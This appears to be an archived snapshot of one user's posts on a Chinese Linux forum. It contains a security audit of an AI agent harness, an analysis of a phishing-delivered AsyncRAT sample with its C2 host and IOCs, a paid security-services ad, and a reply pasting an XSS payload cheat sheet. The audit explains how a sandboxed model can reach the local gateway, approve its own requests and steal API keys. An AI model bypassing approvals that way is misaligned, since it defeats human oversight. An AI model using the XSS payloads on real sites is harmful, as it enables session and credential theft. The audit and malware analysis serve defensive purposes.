LINUX SB 快照站

痛失姓名旳站长

用户 ID 14265 · 当前名首次快照 2026-08-17 20:14:13 · 当前名始于 2026-08-17 20:14:13 · 原站主页: https://linux.sb/user/14265

改名历史

该用户已存在 · 首次快照 2026-08-15 10:45:44 · 本次 2026-08-15 10:45:44 — 2026-08-17 20:14:13

发言

共 25 楼

我用Deepseek大模型花了25块钱审计了DeepSeek Harness的安全性
#0 · 痛失姓名旳站长
发帖 2026-08-17 15:20:47 · 快照 2026-08-17 20:15:49

DeepSeek Harness (dsh) 安全审计报告

  • 目标/11-code/deepseek-harness@deepseek-ai/dsh-root v0.1.0-rc.5,MIT,上游 github.com/deepseek-ai/deepseek-harness,HEAD 47f943859b)
  • 方式:源码级静态审计。8 个攻击面域并行深度审查(沙箱隔离 / 文件系统 / Web 宿主 / 网络工具 / 密钥与存储 / 代码执行 / 提示词数据流 / 供应链),全部关键发现经人工复核代码证据;未安装依赖、未执行代码。
  • 重要声明:dsh 是"模型可执行任意代码"的 agent 框架,模型跑代码本身是特性。本报告只关注护栏能否被绕过以及实现缺陷

一、总体结论

代码整体防御意识强:沙箱 fail-closed(不可用时拒绝执行而非降级)、审批门控、原子写、路径规范化、浏览器信任围栏(Host + sec-fetch-site + Origin)、密钥文件 0600/0700、出厂 bundle 显式关闭 SSRF 原语、会话日志 seq 校验。没有发现可远程(跨网络/跨浏览器)利用的 critical 漏洞——默认部署只监听 127.0.0.1 且 DNS rebinding 被 Host 围栏挡住。

但存在 1 个 critical 级设计缺陷,它把上面大部分护栏架空了:

本地 Web 网关完全无认证,而沙箱不隔离网络 → 沙箱里的模型自己就是"可信本地进程",可以自答审批、冒充人类、偷走存储的 API key。

以及若干 high 级问题:默认挂载的 run_code 以裸 worker 线程全 Node 权限执行模型代码(绕过沙箱);可选挂载的"模型自写插件"在进程内以完整权限运行且无审批;会话策略日志可被伪造;沙箱运行器存在 PATH 劫持面;文件写栅栏存在 TOCTOU。

严重级别统计(复核后):Critical 1,High 8,Medium 12,Low 12,Info 7。另有 2 条子代理上报的 DNS-rebinding 发现经复核为不成立(见 §九)。


二、Critical:审批自答绕过(PDF-01,默认部署可达)

位置packages/host/apiproxy/src/fetch/handler.ts:283-317(/api/respond 仅媒体类型围栏)、packages/host/apiproxy/src/api-proxy.ts:3696-3710(respond 用 rpcId+approvalId+sessionId 结算)、packages/host/apiproxy/src/api-proxy.ts:1443-1467(审批帧经 mux SSE 广播)、packages/sandbox/sandbox-local/src/profiles.ts:16-23(bwrap 无 --unshare-net)。

链条(已逐环节验证)

  1. 所有沙箱 profile 只约束文件效果,网络完全不受限(bwrap 仅 --ro-bind / / --dev /dev --proc /proc --die-with-parent,无 --unshare-net;Seatbelt/Landlock 仅文件规则)。文档明确"Network and process visibility are outside this vocabulary"。
  2. Web 网关的信任围栏(packages/client/connection/src/api-request-trust.ts)只验证 Host 是回环/trustedHosts + 浏览器标记——任何本地进程发的 Host: 127.0.0.1:3080 无 Origin 的请求直接通过。围栏注释自述"this fence is not an auth layer"。
  3. 模型触发一次需要审批的操作(如 bash 沙箱升级 sandbox_permissions)→ approveEscalationapproval.request → 待决审批(rpcId/approvalId/sessionId)经 /api/events.mux SSE/WebSocket 广播。
  4. 模型在沙箱内 curl/Node fetch(Node 22 内置 WebSocket)连回 127.0.0.1:3080,读到自己会话的待决审批 id,然后 POST /api/respond 提交 outcome: allowed-once → 审批被结算为通过。

影响:人类审批(这是 dsh 对危险操作的核心安全控制)被模型自己静默绕过——模型可自批 danger-full-access 后任意读写主机。任何其他本地进程同样可以。默认部署即可达,无需任何非默认配置。

建议:网关加每实例随机 bearer token(注入 UI 会话,模型工具不可见);审批响应要求不可伪造的人类手势证明(如仅在浏览器 UI 会话内一次性 token);沙箱加 --unshare-net 或至少阻止工具命令访问 127.0.0.1:3080。


三、High 发现(按主题)

主题 A:无认证本地网关的连锁后果(默认可达,本地进程/模型即可利用)

ID问题位置要点
PDF-02session.prompt 可向任意会话注入 source: {kind:'user'} 消息(steer/followup),会话记录与导出可无认证读取api-proxy.ts:2461-2516fetch/handler.ts:91:260-271模型或本地进程可冒充人类向任何会话投递指令、读取全部对话与导出日志,审计无法区分
PDF-03llm.discoverModels 接受调用者 baseURL,省略 apiKey 时回退存储的密钥,随请求发往调用者指定 URLapi-proxy.ts:3404-3426packages/llm/llm-pi-ai/src/discovery.ts:232-252一次未认证调用即可把真实 API key 外传(PRIVILEGED_METHODS 仅限回环——但模型本身就在回环内)
PDF-04同上入口即 SSRF:${baseURL}/models 由宿主进程 GET,可探测/读取内网与云元数据discovery.ts:86-88,232-252响应体回显给调用者
SEC-01网关整体无认证(GET 通道同样只有围栏),本地进程可读全部会话日志、credentials.set 覆盖存储的 API keyfetch/handler.ts:254-286本地恶意软件/其他用户进程即得会话全文与凭据篡改能力
SEC-06/api/session.export 无所有权/工作区授权,沿完整 subagent 谱系打包导出session-export.ts:219-266一个调用导出跨工作区全部会话与附件
CE-02Typert Remote 面 POST /api/<ns>/<method> 未认证;动态 Cordis 授权 token 是顺序计数器(run-1/pkg-1/approval-1),inventory() 泄露 agentId → 可猜解 resolveRequestRun 自批插件激活、invoke 驱动宿主处理器packages/api/gateway/src/index.ts:104-110cordis-host-runner/src/index.ts:412-416,740-766LAN(trustedHosts/0.0.0.0)部署下远程可打;回环下本地进程可打

复核说明:PRIVILEGED_METHODS(connection/src/index.ts:89-119)把 settings./credentials./llm.discoverModels 钉在回环——对浏览器/跨站无效,但对"模型自己"无效,因为模型就是回环进程。

主题 B:沙箱与代码执行边界

ID问题位置要点
CE-03run_code 在默认 bundle 挂载(web-app:48-49 挂 dsh-code-runtime-worker-thread),模型程序在裸 worker 线程执行:完整 Node 全局(fs/child_process/fetch/process.getBuiltinModule),空 env + heap 上限外无任何 OS 沙箱、无审批——而 bash 工具反而是被沙箱约束的packages/code-runtime/code-runtime-worker-thread/src/index.ts:378-393core/tools/src/code-mode.ts模型代码 = 任意主机代码执行,绕过 workspace-write 约束;模块自述"containment, not a security boundary"
CE-04workflow 引擎:模型写的脚本经 vm 空上下文执行,但注入的宿主闭包(agent/parallel/phase/log)可 fn.constructor('return process') 逃逸到宿主 realm → 完整 Node 能力packages/workflow/workflow-worker-thread/src/runtime.ts:100-113与 CE-03 同级别影响,无审批
CE-01(条件触发) 模型自写 Cordis Host 插件:tool-cordis(cordis_define/cordis_run)仅存在于 examples,一旦启用:host-only 包直接 activate 无审批index.ts:270-275);node:vm 自述"not containment"(sandbox.ts:8-9,注入 btoa 等宿主闭包可 btoa.constructor('return process')());ctx façade 转发任意 inject 声明服务guard.ts:738-744),含 credentials.resolve(读密钥)、无约束 fs、settings、webcordis-host-runner/src/index.tssandbox.tsguard.ts提示词注入/子代理失守即可进程内任意代码 + 取密钥,无任何审批
CE-07动态插件 façade 的"声明式白名单"实为无白名单——inject:['credentials'] 即得密钥读写guard.ts:709-711,738-744CE-01 的服务转发面
SANDBOX-01(条件触发)bwrap/sandbox-exec 按裸名经 PATH 解析(sandbox-local/src/index.ts:338-340,68-74),PATH 又特意保留在子进程 env 中(subprocess/src/index.ts:60-66)。若 PATH 含模型可写目录(工作区=PATH 组件、共享目录、PATH 含 .),模型植入假 bwrap → 探测通过 → 沙箱静默失效sandbox-local/src/index.tsLandlock/Windows 运行器按绝对路径固定不受影响

主题 C:策略与日志完整性

ID问题位置要点
SANDBOX-02 / PDF-06sandbox/modeapproval/policypermission/preset 全部从会话 JSONL 折叠(最后一个事件生效),而日志加载只校验 seq 连续性(chunk-rows.ts:339-345 非 chunk 行原样透传)、无 MAC/完整性保护。官方示例(headless/jsonrpc-agent)把日志放 root: './.sessions'(模型可写的工作区内)→ 模型重写日志注入 danger-full-access + never,重启后免审批全权限session-mode.ts:52-57user-approval/src/index.ts:112-118session-persistence-jsonl/src/format.ts:362-375默认 web bundle 用 dshHomePath('sessions')(工作区外)不受影响;审计轨迹可一并伪造
SEC-05凭据 provider 把项目 .env 作为受信回退层,而项目目录正是模型可读(通常可写)的工作区——恶意仓库可替换模型实际使用的 API keycredentials-local/src/index.ts:260-263凭据替换/提取
SEC-02settings 秘密脱敏走查器对 union/transform 节点原样返回(代码自带 TODO),role('secret') 值可经 settings.describe 上 wiresettings/src/redact.ts:50-91应 fail-closed

主题 D:文件系统

ID问题位置要点
FS-01 / SANDBOX-06写沙箱 TOCTOU:checkedTarget 规范化+包含性检查后把同一路径字符串交给原子写,检查与 rename() 之间窗口可被祖先符号链接替换;工具自身提供并发原语(background bash 无超时)可赢竞态 → 写任意用户可写路径(如 ~/.ssh/authorized_keysfs-sandbox/src/index.ts:126-148fs-local/src/fsio.ts:533-595需模型主动构造竞态;文档称"accepted residual"但与 checkedTarget 注释声称的"no TOCTOU"矛盾
FS-02读路径在所有沙箱模式下不受限;glob/grep 以 --no-ignore --hidden 全盘扫描(glob path=/ 即枚举全盘含 dotfile)fs-sandbox/src/index.ts:7-8tool-fs-search/src/glob.ts:90-107与 bash 沙箱读全盘设计一致,但使任何提示词注入立即变全盘机密外传
FS-03str_replace_editor 无界整文件读入内存、无超时(对照 read 工具 ≥10MiB 走流式+50KiB 上限)→ OOM/挂起tool-str-replace-editor/src/index.ts:234,291,342DoS
FS-04读后写保护是组合约定非强制不变量(waterfall 默认回退=无条件覆盖)tool-fs/src/write.ts:111docs/subsystems/filesystem.md:185缺插件/注册序变即静默失效
SANDBOX-03进程组级终止可被 setsid() 绕过:孤儿进程逃过 job_kill 与宿主退出subprocess-local/src/spawn.ts:260-267需 /proc 树或 subreaper
SANDBOX-04子进程 env 凭据清洗按名称模式(/KEY|PASSWORD|SECRET|TOKEN/i),DATABASE_URL/*_DSN/MONGO_URI 等连接串全透传subprocess/src/index.ts:44,60-66模型 echo $DATABASE_URL 即可外传内嵌凭据

主题 E:Web 细节

ID问题位置要点
WEB-01/plugins/events(HMR SSE)是唯一未过围栏的路由,connections 无上限 → 本地进程连接洪泛 DoS + 插件图泄露packages/client/hmr/src/index.ts:165-179其他所有 /api 路由都过围栏(connection/src/index.ts:161-168
WEB-03settings.mutate 路径操作原型污染(__proto__ 键触发继承 setter;代码自带 TODO)settings/src/index.ts:215-228,297-305仅回环可达
WEB-04WS 下行/FrameQueue 无背压与缓冲上限(SSE 路径有 drain 背压,WS 没有)→ 慢消费者内存 DoSwebsocket-downlink.ts:118-137api-proxy.ts:414-445本地
WEB-05/api 请求体全量缓冲 160MiB、无请求超时http-bridge.ts:8-12,54-66本地并发大上传可耗内存
WEB-02browse 模式 host.listDirectory/createDirectory 未入 PRIVILEGED_METHODS(LAN 部署下全盘目录枚举/mkdir);代码注释承认"能建会话者本就能以本进程身份跑命令"connection/src/index.ts:89-119directory-picker-browse/src/index.ts:217-323围栏不一致而非边界突破

主题 F:网络工具(多数为已知限制/条件触发)

ID问题位置要点
NET-01web_fetch 是无目的地校验的 SSRF 原语(仅限 scheme/长度/userinfo;可打 127.0.0.1、RFC1918、169.254.169.254 云元数据、混淆 IP)。复核更正:包级默认 fetch: true,但出厂 bundle 显式 fetch: false 且不挂载 fetch provider(bundle/base/cordis.patch.yml 注释明确"该 provider 推迟了 SSRF 防护")——默认关闭、README 有硬警告;启用即高危web-fetch-http/src/policy.ts:24-41属文档化已知限制,但"启用即裸奔"值得知晓
NET-02重定向同源校验是主机名字符串比较,DNS rebinding 可绕过(仅在有 NET-01 前提时相关)provider.ts:76-96与 NET-01 同属 fetch 原语
NET-03MCP 桥把远端服务器工具描述/schema 原样注入模型工具集,无信任标记/能力隔离,且服务器可运行时 tools/list_changed 换工具——经典 MCP 提示词注入面mcp-client/src/tools.ts:146-152connection.ts:257-270非默认挂载
NET-05搜索 provider 把 API key 发给任意 URL.canParse 通过的 baseURL(含 http:// 明文、env 可覆盖)web-search-*/src/provider.ts配置受信前提下低危
NET-07LSP/MCP stdio 服务器进程无沙箱以完整用户权限在主机启动,仅 PATH 存在性校验lsp-stdio/src/connection.ts:92-104配置受信;PATH 影子可致模型触发任意二进制执行

主题 G:供应链(无 critical/high)

ID问题位置要点
SC-01PyPI 发布用可变分支 tag action(pypa/gh-action-pypi-publish@release/v1)且作业带 id-token: write.github/workflows/python-release.yml:206,241应钉 SHA
SC-03本地发布脚本 publish-npm-baseline.ts 默认把整个 workspace 发布到外部域名 registry.npm.harnessment.com(仓库内无该域名属主记录),仅校验 http(s)scripts/publish-npm-baseline.ts:23,1037建议删除或硬限制 allow-list
SC-04node-pty 补丁让 DSH_NODE_PTY_SPAWN_HELPER 环境变量决定 PTY helper 二进制路径,无完整性校验(path.resolve 后直接执行)patches/node-pty@1.1.0.patch:14-21能影响 env 者即可让 harness 以用户权限执行任意二进制
SC-05发布 pack 脚本对用户提供的输出目录 rm -rf 无目标确认scripts/release/pack.ts:51native/landlock-run/scripts/pack-release.mjs:47破坏性脚枪
SC-02/06/07/08/09全部 workflow 用可变 tag 而非 SHA;vendored Cordis 深度分叉且发布物无审计线索;Wine 门禁拉 latest Node;GitLab tag 正则即发布;pkg 构建期网络拉取基础二进制卫生类

四、子代理上报但经复核不成立的发现

  1. PDF-05 / SEC-01 的 DNS-rebinding 绕过("恶意网页可经 DNS rebinding 接管整个 harness"):不成立isTrustedApiRequestapi-request-trust.ts:96-123)的 Host 围栏正是 DNS-rebinding 防御——rebinding 页面的 Host 头是攻击者域名,被直接 403。跨站 POST 也被"只收 application/json + 从不回 OPTIONS"挡掉。网页端攻击路径不存在;真正的问题是"任何本地进程(含沙箱模型)",而非网页。
  2. NET-01 的"默认启用":包级默认 true,但出厂 bundle 显式禁用(fetch: false 且无 provider)——已按实际修正为"条件触发"。

五、修复优先级建议

P0(默认部署即存在,立即处理)

  1. 本地网关认证:每实例随机 bearer token(注入 index.html/UI 会话,对模型工具隐藏)+ 审批/问题应答要求浏览器会话内的一次性凭据(PDF-01/02/03、SEC-01)。
  2. 沙箱隔离网络或封锁工具进程访问 127.0.0.1:3080(--unshare-net 或 bwrap 内 deny loopback)(PDF-01 的另一半)。

P1(默认或常见部署可触达)

  1. run_code 套用与 bash 相同的沙箱/审批策略,或默认降级为受限能力(CE-03)。
  2. workflow 引擎移除宿主闭包注入或独立沙箱化(CE-04)。
  3. llm.discoverModels 的 baseURL 加 https+allowlist、禁止回环/私网;存储密钥绝不随调用者 URL 外发(PDF-03/04)。
  4. 会话日志加完整性保护(HMAC/密钥在日志目录外),策略折叠前校验事件模式(SANDBOX-02/PDF-06)。

P2(条件触发/加固)

  1. 沙箱运行器绝对路径解析(SANDBOX-01);fs 写栅栏改 fd 基元关闭 TOCTOU(FS-01)。
  2. 动态插件:host-only 包同等审批、ctx façade 改 deny-by-default 服务白名单、vm 换真隔离(CE-01/07/08)。
  3. env 清洗按值形态补连接串(SANDBOX-04);__proto__ 键拒绝(WEB-03);HMR 路由加围栏(WEB-01)。
  4. 供应链:action 钉 SHA、publish 脚本 allow-list、node-pty env 路径约束(SC-01/03/04)。

六、审计局限

  • 纯静态分析,未运行代码/未验证 PoC 的运行时可行性(如 TOCTOU 竞态概率、审批 id 获取的具体难度)。
  • 未做依赖 CVE 扫描(node_modules 未安装,pnpm audit 不可行)——建议在 CI 中启用 pnpm audit/osv-scanner
  • 覆盖深度按攻击面加权,packages/host/apiproxy(3744 行)、extensions/cordis-host-runner(3360 行)等大文件由子代理+抽查复核,未逐行人工审计。
  • 示例配置(examples/*)中的用法未逐一核对与文档的一致性。
【在线推广接单讨饭】-网络安全十年老兵-收益利润百分之90用于论坛抽奖福利建设
#0 · 痛失姓名旳站长
发帖 2026-08-17 10:59:15 · 快照 2026-08-17 20:14:13

收益利润百分之90用于论坛抽奖福利建设
我能做什么:
各类病毒木马清理、银狐、挖矿等。
代码审计。
渗透测试。
恶意软件、钓鱼邮件分析。
外部资产信息空间测绘。
内部钓鱼演练。
还有其他安全需求可以详谈,收费嘛10块起吧。
以上的以上在授权下进行。
灰、黑、涉密不接。十块钱只够买白菜的。

【社区BUG】-点进来就积分-1
#7 · 痛失姓名旳站长
发帖 2026-08-16 20:16:50 · 快照 2026-08-17 20:22:39

最后由 痛失姓名的站长 编辑于 2026-08-16 20:15
物理修复

【社区BUG】-点进来就积分-1
#0 · 痛失姓名旳站长
发帖 2026-08-16 20:09:34 · 快照 2026-08-17 20:22:39

当你看到这个的时候积分已经-1了,别刷新,刷新继续-1

最后由 痛失姓名旳站长 编辑于 2026-08-16 21:05
【真实经验教程-钓鱼分析】-点击JS也能控制你的电脑精华
#2 · 痛失姓名旳站长
发帖 2026-08-16 13:19:42 · 快照 2026-08-17 20:24:55

@INS美图 #1 🤪需要下载下来双击才能利用,只要你不直接双击,没啥问题

【真实经验教程-钓鱼分析】-点击JS也能控制你的电脑精华
#0 · 痛失姓名旳站长
发帖 2026-08-16 12:31:27 · 快照 2026-08-17 20:24:55

样本:1_final_shellcode_执行载荷.bin(277,067 字节 / 0x43A4B)
分析环境:IDA Pro(ida-pro-mcp)+ 脚本化二进制提取
结论:AsyncRAT 家族 .NET RAT,经 Donut shellcode loader 内存加载,功能包含凭据窃取、键盘记录、屏幕截图、反沙箱与远程控制。


一、攻击链全景

DHL 钓鱼邮件 (.eml)
  └─ RAR 附件
       └─ JS (LuaJIT 解释器 + 内嵌脚本)
            └─ LuaJIT → 解密/释放 shellcode
                 └─ 1_final_shellcode_执行载荷.bin  ← 本样本
                      └─ Donut loader (位置无关 x64 shellcode)
                           ├─ PEB 遍历 + API 哈希解析
                           ├─ 流式解密配置区 (自定义算法)
                           └─ 反射式加载 + CLR 托管执行
                                └─ 3_payload_dotnet.exe (.NET RAT)

DHL 钓鱼投递 → JS 阶段 → LuaJIT → Donut 加载器 → 内存中直接执行 .NET RAT,全程不落盘(除必要持久化)。


二、Donut loader 技术细节

2.1 配置布局(file offset 0x5 起)

偏移大小含义
04config 长度 = 0x3D7C0
416解密 Key = 17ea3dc125d9fcc3eb68919f1a266024
2016Counter 初值 = 67c4e60cf2c87e5608227bcbcb3d40a9
36536API 哈希表(SHA1 风格,逐个解析函数指针)
572加密的 payload 数据(251,268 字节)

2.2 自定义流式解密算法(sub_40855)

  • state = counter ^ key → 16 轮混合 → ^ key → 输出块与密文异或
  • counter 从第 15 字节开始 little-endian 自增(即按 128-bit 计数器推进)
  • 每轮混合运算基于 32-bit 加/异或/循环右移(ror),无查表,无标准密码学库——属定制流密码,目的就是对抗静态特征与通用解密器。

2.3 反射式加载

  • 无需文件落盘:直接解析 PE 头(PE32/PE32+ 两种 optional header 均支持)
  • DLL 遍历加载:ole32;oleaut32;wininet;mscoree;shell32
  • wininet → HTTP 通信
  • mscoree → CLR 托管宿主(加载 .NET payload)
  • payload 类型分派(*(v16+2336)):1/2 = PE,3/4 = .NET,5/6 = 其他
  • 解密后校验 SHA1 摘要(存储于 config +0xD41,防篡改)
  • 执行完毕后 VirtualFree(MEM_DECOMMIT|MEM_RELEASE) 清理内存

三、最终载荷:.NET RAT

属性
文件名3_payload_dotnet.exe
大小245,760 字节
SHA19d2fa9c1115c0e2d6a2aec23c33cde6825a00f43
架构x86 (.NET Framework 4.0)
CLR runtimev4.0.30319
CLR metadata streams#~ #Strings #US #GUID #Blob 共 5 个

#US(用户字符串堆)与 #Strings 堆提取全部行为特征,确认属 AsyncRAT 谱系(含几十种应用的凭据恢复模块,功能比原生 AsyncRAT 更全)。


四、C2 基础设施

FTP 外传/C2ftp://ftp.hhautoinvestment.co.tz
FTP 账号ceo@hhautoinvestment.co.tz
公网 IP 探测http://ip-api.com/line/?fields=hosting
DynDNShttps://account.dyn.com/
User-AgentMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
通信方式FTP / HTTP(FtpWebRequest HttpWebRequest WebClient),无 TCP socket
  • C2 域名 hhautoinvestment.co.tz坦桑尼亚 (.tz) 注册域名,伪装成"投资公司"(配合钓鱼话术)。
  • 通过 ip-api 判断主机是否托管(hosting 字段),用于反沙箱/筛选真实受害者环境。

五、恶意行为清单

5.1 凭据窃取(核心功能,覆盖 30+ 应用)

浏览器(密码 + Cookie + 自动填充):
Chrome、Firefox、Edge (Chromium)、Opera、Brave、Yandex、Vivaldi、360Chrome、QQ 浏览器、UC、Comodo Dragon、Torch、Amigo、Sputnik、Kometa、CocCoc、Liebao、CentBrowser、Pale Moon、IceDragon、Chedot、Orbitum、Sleipnir、Safari for Windows(读 keychain.plist)等。

邮件客户端: Outlook、Foxmail、The Bat!、Becky、PocoMail、ClawsMail、eM Client、Mailbird、IncrediMail、Eudora、Opera Mail、Windows Mail、Mozilla Thunderbird。

FTP 客户端: FileZilla、WinSCP、FlashFXP、CoreFTP、SmartFTP、WS_FTP、FTP Navigator、FTP Commander、FTPGetter。

VNC: RealVNC、TigerVNC、TightVNC、UltraVNC。

VP-N: OpenV-PN、NordV-PN、Private Internet Access、DynDNS(含 ddns 配置)。

其他: Discord Token、Pidgin、Trillian、Paltalk、JDownloader 2、MySQL Workbench、Psi+。

Windows Vault / DPAPI: VaultOpenVault / VaultEnumerateVaults / VaultGetItem 读取 Windows 凭据管理器;DPAPI ProtectedData.Unprotect + Rfc2898DeriveBytes 解 Chrome 密码(encrypted_key → AES-GCM 解密,bcrypt BCRYPT_AES_ALGORITHM)。

5.2 键盘记录

  • SetWindowsHookEx(WH_KEYBOARD_LL) + KBDLLHookProcDelegate 全局低级钩子
  • ToUnicodeEx 转换键码,记录 F1–F12、Ctrl、Alt、Win、Tab、Enter 等功能键
  • 日志文件带 KL_ 前缀;HTML 导出

5.3 屏幕截图

  • CopyFromScreen + Bitmap,保存为 SC_yyyy_MM_dd_HH_mm_ss.jpeg

5.4 剪贴板监控

  • SetClipboardViewer / ChangeClipboardChain,记录 LastCopiedText,HTML 导出(Copied Text:

5.5 系统信息侦察

  • Win32_ComputerSystem / Win32_Processor / Win32_NetworkAdapterConfiguration(MAC)/ Win32_BaseBoard(主板序列号)/ Win32_VideoController
  • 组合成 HTML 邮件格式上报:OSFullName / CPU / RAM / IP / User Name / Computer Name / Time

5.6 反沙箱 / 反虚拟化 / 反调试

  • CheckRemoteDebuggerPresent / isDebuggerPresent
  • VM 检测:VMware、VirtualBox、Win32_VideoController 显卡名、VirtualBox 进程
  • 沙箱 DLL:SbieDll.dll(Sandboxie)、cmdvrt32.dllsnxhk.dllSxIn.dll
  • 用户空闲检测:GetLastInputInfo(判断无人值守 → 触发恶意行为)
  • 系统句柄枚举:NtQuerySystemInformation / NtQueryObject

5.7 持久化

  • AppAddStartup / HideFileStartup:注册表 Run 键(StartupRegName)+ 启动目录(StartupDirectoryName)+ 环境变量(StartupEnvName
  • 自复制 + 隐藏文件

5.8 进程注入 / 远程执行

  • CreateProcess + ProcessStartInfo(远程命令执行)
  • 内存映射注入:CreateFileMapping / MapViewOfFile / PageExecuteReadWrite / VirtualMemoryWriteCreateThread 执行
  • OpenProcess / DuplicateHandle 跨进程操作

5.9 文件管理

  • CreateFile / DeleteFile / MoveFile / WriteFile / ReadAllBytes / GetFiles / GetDirectories(远程文件浏览/上下传)

5.10 网络防拦截

  • SSL 校验绕过:自定义 ServerCertificateValidationCallback / SslPolicyErrors(忽略证书错误)
  • Tor 支持:EnableTorPanel / TorPid(可选经 Tor 隐藏流量)

六、IOC(失陷指标)

类型
C2 FTPftp.hhautoinvestment.co.tz
FTP 账号ceo@hhautoinvestment.co.tz
关联域名hhautoinvestment.co.tz
公网探测ip-api.com
交付 UAMozilla/5.0 (…rv:99.0) Gecko/20100101 Firefox/99.0
.NET 载荷 SHA19d2fa9c1115c0e2d6a2aec23c33cde6825a00f43
解密后配置 SHA17221553f6096f57c938c1e6914d2f4107b24f517
特征文件/日志KL_*.logSC_*.jpeg/log.tmp*_log.html
行为特征SetWindowsHookEx(WH_KEYBOARD_LL)VaultOpenVaultCopyFromScreenNtQuerySystemInformation
持久化位置注册表 Run 键、启动目录、环境变量(配合 AppAddStartup/HideFileStartup

七、处置建议

  1. 全网搜索上述 IOC(尤其 FTP 域名、User-Agent、KL_/SC_ 文件特征)。
  2. 进程取证:检查异常 wscript/powershell/托管进程(x86 CLR)内存注入痕迹。
  3. 清除持久化:注册表 HKCU\Software\Microsoft\Windows\CurrentVersion\Run、启动目录、HKCU\Environment
  4. 凭证轮换:所有可能被窃取的浏览器/邮件/FTP/V-PN 密码、Discord token 强制重置。
  5. 邮件网关:拦截 DHL 仿冒邮件(发件域名、附件 RAR+JS 组合)。

本报告由 IDA Pro 静态逆向 + 脚本化提取完成,行为数据来自 .NET 元数据字符串堆(#US/#Strings)与反编译的控制流/API 调用。

当你打开这个贴的时候我已经做了你的用户画像并且加载了几个aff
#37 · 痛失姓名旳站长
发帖 2026-08-16 09:15:35 · 快照 2026-08-17 20:29:57

被举报了呢,有啥问题回帖吖,举报怎么回事。
社区AI治理中心已完成对你的主题相关举报的核查,暂未发现明确违规,本次未对你的内容或账号采取处理措施🤓

当你打开这个贴的时候我已经做了你的用户画像并且加载了几个aff
#35 · 痛失姓名旳站长
发帖 2026-08-15 20:34:58 · 快照 2026-08-17 20:29:57

@mj8724 #39 😀没那么高级

当你打开这个贴的时候我已经做了你的用户画像并且加载了几个aff
#33 · 痛失姓名旳站长
发帖 2026-08-15 20:20:12 · 快照 2026-08-17 20:29:57

@xueshi #37 是的,但是有其他的方法,现在说的这个方法是获取不到的。

当你打开这个贴的时候我已经做了你的用户画像并且加载了几个aff
#29 · 痛失姓名旳站长
发帖 2026-08-15 19:22:07 · 快照 2026-08-17 20:29:57

@Custom_Udon #33 👍

当你打开这个贴的时候我已经做了你的用户画像并且加载了几个aff
#27 · 痛失姓名旳站长
发帖 2026-08-15 15:53:48 · 快照 2026-08-17 20:29:57

@shy #30 😅AI发帖时候AI告诉我的

当你打开这个贴的时候我已经做了你的用户画像并且加载了几个aff
#25 · 痛失姓名旳站长
发帖 2026-08-15 15:25:17 · 快照 2026-08-17 20:29:57

@Yang9527 #28 https://linux.sb/topic/12748 我前面发帖问了,给的答复是可以直接发出来

当你打开这个贴的时候我已经做了你的用户画像并且加载了几个aff
#23 · 痛失姓名旳站长
发帖 2026-08-15 15:00:18 · 快照 2026-08-17 20:29:57

@Qxue #25 1.我描述的方法里是不能直接拿到id的,但是这个方式修改点东西就能拿到 2.cookie拿不到 3.不用在统计联盟 4.之前有个站点叫ip.xx能直接定位到楼层,现在接口被关了,但是我还有其他渠道能获取到。

当你打开这个贴的时候我已经做了你的用户画像并且加载了几个aff
#19 · 该用户已存在
发帖 2026-08-15 14:38:09 · 快照 2026-08-15 14:39:40

会有xss吗
XSS 101
ç
<h1>Hello,<script>alert(1)</script>!</h1>

1. With <script> tag
<script>alert(1)</script>

2. With regular HTML tags

2.1 Event-based

<TAG EVENT=alert(1)>
<body onload=alert(1)>
<img src=1 onerror=alert(1)>
<svg onload=alert(1)>
<x onmouseover=alert(1)>

2.2 Resource-based

<TAG RESOURCE=javascript:alert(1)>
<iframe src=javascript:alert(1)>
<object data=javascript:alert(1)>
<script>alert(document.domain)</script>

2.1. Steal an user session on the vulnerable website (including admins)

2.2. Capture the keys pressed by the user

2.3. Deface the page, serving any type of content

2.4. Trick the user into giving his/her credentials by means of a fake HTML form

2.5. Crash the browser (local denial of service)

2.6. Force download of files

2.7. Redirect user's browser to another website where his/her machine can be

compromised by memory exploits

data伪协议的格式是:
data:[<MIME-type>][;charset=<encoding>][;base64],<data>

<script src="data:text/html;base64,YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="></script>
<script src=data:text/html;base64,YWxlcnQoZG9jdW1lbnQuY29va2llKQ==></script>
<script src=data:text/html;,alert(document.cookie)></script>
<script src=data:text/html,alert(document.cookie)></script>
<script src=data:,alert(document.cookie)></script>
<script src="data:text/html;base64,YWxlcnQoMSk="></script>
<script src=data:text/html;base64,YWxlcnQoMSk=></script>
<script src=data:text/html;,alert(1)></script>
<script src=data:text/html,alert(1)></script>
<script src=data:,alert(1)></script>

<body><svg><x><script>alert(1)</script></x></svg></body>
<svg><x><script>alert(1)</x>
<svg><a><script>alert(1)</a>

XSS Cheat Sheet

HTML Context Tag Injection

<svg onload=alert(1)>
"><svg onload=alert(1)//

HTML Context Inline Injection

"onmouseover=alert(1)//
"autofocus/onfocus=alert(1)//

Javascript Context Code Injection

'-alert(1)-'
'-alert(1)//

Javascript Context Code Injection (escaping the escape)

\'-alert(1)//

Javascript Context Tag Injection

</script><svg onload=alert(1)>

PHP_SELF Injection

http://DOMAIN/PAGE.php/"><svg onload=alert(1)>

Without Parenthesis

<svg onload=alert1>
<svg onload=alert(1)>
<svg onload=alert(1)>
<svg onload=alert(1)>

Filter Bypass Alert Obfuscation

(alert)(1)
a=alert,a(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)

Body Tag

<body onload=alert(1)>
<body onpageshow=alert(1)>
<body onfocus=alert(1)>
<body onhashchange=alert(1)><a href=#x>click this!#x
<body style=overflow:auto;height:1000px onscroll=alert(1) id=x>#x
<body onscroll=alert(1)><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><x id=x>#x
<body onresize=alert(1)>press F12!
<body onhelp=alert(1)>press F1! (MSIE)

Miscellaneous Vectors

<marquee onstart=alert(1)>
<marquee loop=1 width=0 onfinish=alert(1)>
<audio src onloadstart=alert(1)>
<video onloadstart=alert(1)><source>
<input autofocus onblur=alert(1)>
<keygen autofocus onfocus=alert(1)>
<form onsubmit=alert(1)><input type=submit>
<select onchange=alert(1)><option>1<option>2
<menu id=x contextmenu=x onshow=alert(1)>right click me!

Agnostic Event Handlers

<x contenteditable onblur=alert(1)>lose focus!
